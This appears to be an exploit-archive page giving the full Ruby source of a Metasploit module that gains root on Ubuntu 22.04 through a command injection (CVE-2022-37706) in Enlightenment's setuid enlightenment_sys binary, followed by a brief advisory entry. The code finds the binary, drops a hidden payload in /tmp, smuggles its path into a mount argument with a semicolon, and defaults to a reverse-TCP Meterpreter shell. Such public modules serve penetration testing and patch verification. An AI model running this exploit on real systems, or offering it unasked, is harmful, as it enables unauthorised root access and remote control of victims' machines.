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Ubuntu 22.04.1 X64 Desktop Enlightenment 0.25.3-1 Privilege Escalation
This Metasploit module exploits a command injection within Enlightenment’s enlightenment_sys binary. This is done by calling the mount command and feeding it paths which meet all of the system requirements, but execute a specific path as well due to a semi-colon being used. This module was tested on Ubuntu 22.04.1 X64 Desktop with enlightenment 0.25.3-1 (current at module write time).
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ubuntu Enlightenment Mount Priv Esc', 'Description' => %q{ This module exploits a command injection within Enlightenment's enlightenment_sys binary. This is done by calling the mount command and feeding it paths which meet all of the system requirements, but execute a specific path as well due to a semi-colon being used. This module was tested on Ubuntu 22.04.1 X64 Desktop with enlightenment 0.25.3-1 (current at module write time) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Maher Azzouzi' # discovery, poc ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ], [ 'URL', 'https://twitter.com/maherazz2/status/1569665311707734023' ], [ 'CVE', '2022-37706' ] ], 'DisclosureDate' => '2022-09-13', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true, # so we can exploit multiple times 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def find_enlightenment_sys enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys' if file_exist?(enlightenment_sys) vprint_good("Found binary: #{enlightenment_sys}") if setuid?(enlightenment_sys) vprint_good("It's set for SUID") # at this time there doesn't seem to be any other way to check if it'll be exploitable # like a version number as a patch hasn't been released yet return enlightenment_sys else return nil end else vprint_status('Manually searching for exploitable binary') # https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7 binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1') vprint_good("Found SUID binary: #{enlightenment_sys}") unless binary.nil? return binary end end def check enlightenment_sys = find_enlightenment_sys return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil? CheckCode::Appears end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end print_status('Finding enlightenment_sys') enlightenment_sys = find_enlightenment_sys if enlightenment_sys.nil? fail_with Failure::NotFound, "#{base_dir} is not writable" end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe dev_path = "/dev/../tmp/;#{payload_path}" register_files_for_cleanup(payload_path) print_status('Creating folders for exploit') cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net') cmd_exec("mkdir -p \"#{dev_path}\"") # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the # output from the exploit being run, they can optionally see it enlightenment_sys = find_enlightenment_sys print_status 'Launching exploit...' cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, datastore['WfsDelay']) endend
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Enlightenment 0.25.3 Privilege Escalation
Enlightenment version 0.25.3 suffers from a local privilege escalation vulnerability.
CVE-2022-37706: GitHub - MaherAzzouzi/CVE-2022-37706-LPE-exploit: A reliable exploit + write-up to elevate privileges to root. (Tested on Ubuntu 22.04)
enlightenment_sys in Enlightenment before 0.25.4 allows local users to gain privileges because it is setuid root, and the system library function mishandles pathnames that begin with a /dev/.. substring.